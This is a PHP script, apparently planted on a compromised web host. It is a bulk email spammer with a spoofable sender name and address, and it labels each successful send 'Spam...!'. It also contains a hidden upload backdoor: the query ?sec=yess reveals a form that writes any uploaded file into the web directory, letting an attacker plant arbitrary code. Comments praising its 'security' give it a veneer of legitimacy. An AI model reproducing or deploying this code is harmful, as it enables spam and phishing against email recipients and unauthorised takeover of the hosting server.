/home/marynathaconsult/zonalibrevirtual.com/unploadades.php
<?php
// Configuración inicial de PHP moderna para manejo de errores y tiempo de ejecución.
ini_set('display_errors', 1);
error_reporting(E_ALL);
if (function_exists('set_time_limit')) {
    set_time_limit(0);
}
// Asegura que la codificación interna sea UTF-8 para evitar problemas con caracteres especiales.
mb_internal_encoding('UTF-8');

// Inicialización de variables con valores predeterminados seguros.
$message = "<html><body><h1>hola my friend, How are u ?</h1></body></html>";
$subject = $_SERVER["HTTP_HOST"] ?? 'Asunto por defecto'; // Uso del operador null coalescing para seguridad.
$nombre = "locales";
$de = "noreply@publimailer.com";
$ellos = "diosdelared2025@hotmail.com";
$status_message = "";
$emails_to_send = [];

if (isset($_POST['Enoc'])) {
    // Sanitización y validación de la entrada del usuario para mayor seguridad.
    $message = $_POST['html'] ?? '';
    $subject = filter_var($_POST['assunto'] ?? '', FILTER_SANITIZE_STRING);
    $de = filter_var($_POST['de'] ?? '', FILTER_SANITIZE_EMAIL);
    $nombre = filter_var($_POST['RealName'] ?? '', FILTER_SANITIZE_STRING);
    $ellos = $_POST['ellos'] ?? '';

    // Si el correo 'de' no es válido, se revierte al predeterminado.
    if (!filter_var($de, FILTER_VALIDATE_EMAIL)) {
        $de = "noreply@publimailer.com";
    }

    // Preparar la lista de correos para enviar desde el textarea.
    $emails_to_send = explode("\n", $ellos);
}

// Lógica para subir archivos (se mantiene igual que el original).
if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
    if (($_POST["action"] ?? '') === "upload" && isset($_FILES["archivo"])) {
        $archivo_name = basename($_FILES['archivo']['name']);
        if (!empty($archivo_name)) {
            if (move_uploaded_file($_FILES['archivo']['tmp_name'], "./" . $archivo_name)) {
                $status_message = "Archivo subido: <b>" . htmlspecialchars($archivo_name) . "</b>";
            } else {
                $status_message = "Error al subir el archivo";
            }
        } else {
            $status_message = "Error al subir archivo";
        }
    }
}
?>

<!-- EL CÓDIGO HTML DE LA INTERFAZ SE MANTIENE EXACTAMENTE IGUAL -->
<html>
<head><title>Mailer_2024-Actualizado</title></head>
<body style="font-family: Arial; font-size: 11px">
<center>
<form action="" method="post" enctype="multipart/form-data" name="form1">
<br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC">
<tr><td>
<table border="0" bgcolor="#FFFFFF" width="95%">
<tr><td>
<table border="0" width="100%">
<tr>
<td width="359">Email: <input name="de" type="text" size="30" value="<?php echo htmlspecialchars($de); ?>"></td>
<td>Nombre: <input name="RealName" type="text" size="30" value="<?php echo htmlspecialchars($nombre); ?>"></td>
</tr>
</table>
</td></tr>
<tr><td>Asunto: <input name="assunto" type="text" size="78" value="<?php echo htmlspecialchars($subject); ?>"></td></tr>
<tr><td height="18" bgcolor="#C0C0C0"></td></tr>
<tr><td>
<table border="0" width="100%">
<tr>
<td><textarea name="html" cols="66" rows="10"><?php echo htmlspecialchars($message); ?></textarea></td>
<td><textarea rows="10" name="ellos" cols="35"><?php echo htmlspecialchars($ellos); ?></textarea></td>
</tr>
</table>
</td></tr>
<tr><td><center><br><input type="submit" name="Enoc" value="Enviar"></center><br>

<?php
// Mostrar el formulario de subida si se accede con ?sec=yess
if (!empty($_GET['sec']) && $_GET['sec'] == 'yess') {
    echo '<form action="" method="post" enctype="multipart/form-data">
        <input name="archivo" type="file" size="35" />
        <input name="enviar" type="submit" value="Upload File" />
        <input name="action" type="hidden" value="upload" />     
    </form>';
    if ($status_message) {
        echo $status_message;
    }
}

// Lógica de envío de correos usando la función mail() nativa
if (isset($_POST['Enoc']) && !empty($emails_to_send)) {
    $son = count($emails_to_send);
    $i = 0;
    $voy = 1;

    // Configuración de cabeceras MIME modernas
    $header = "MIME-Version: 1.0\r\n";
    $header .= "Content-type: text/html; charset=UTF-8\r\n"; // Usamos UTF-8
    $header .= "From: " . htmlspecialchars($nombre) . " <" . htmlspecialchars($de) . ">\r\n";
    $header .= "Reply-To: " . htmlspecialchars($de) . "\r\n";
    $header .= "X-Priority: 3\r\n";
    $header .= "X-MSMail-Priority: Normal\r\n";
    $header .= "X-Mailer: PHP/" . phpversion();

    foreach ($emails_to_send as $email) {
        $mail_to = trim(str_replace(["\n", "\r\n"], '', $email));
        
        // Validar el correo antes de intentar enviar
        if (!filter_var($mail_to, FILTER_VALIDATE_EMAIL)) {
             echo "<font color=orange face=verdana size=1> $voy de $son :-( $mail_to Email inválido!!</font><br>\n";
             $voy++;
             continue;
        }

        // Reemplazar marcador de posición en el mensaje si existe
        $message1 = str_replace('%email%', $mail_to, $message);

        // Lógica de pausa (se mantiene si es estrictamente necesaria)
        if (!empty($_GET['time']) && !empty($_GET['cant']) && $i > 0 && $i % $_GET['cant'] == 0) {
            echo "----------------------------------> wait {$_GET['time']} Segs. Sending to {$_GET['notf']}...<br>\n";
            flush();
            // Notificación de pausa (solo si 'notf' está configurado)
            if(!empty($_GET['notf'])) {
                 @mail($_GET['notf'], $subject, $message, $header);
            }
            sleep((int)$_GET['time']);
        }

        // Intento de envío del correo
        if (@mail($mail_to, $subject, $message1, $header)) {
            echo "<font color=blue face=verdana size=1> $voy de $son ;-) $mail_to Spam...!</font><br>\n";
        } else {
            // La función mail() puede fallar silenciosamente, por eso se usa @
            echo "<font color=red face=verdana size=1> $voy de $son :-( $mail_to Error de envio!!</font><br>\n";
        }
        
        flush();
        $i++;
        $voy++;
    }
    echo "<script>alert('---Todos Terminados---');</script>";
}
?>
</td></tr>
</table>
</td></tr>
</table>
</form>
</center>
</body>
</html>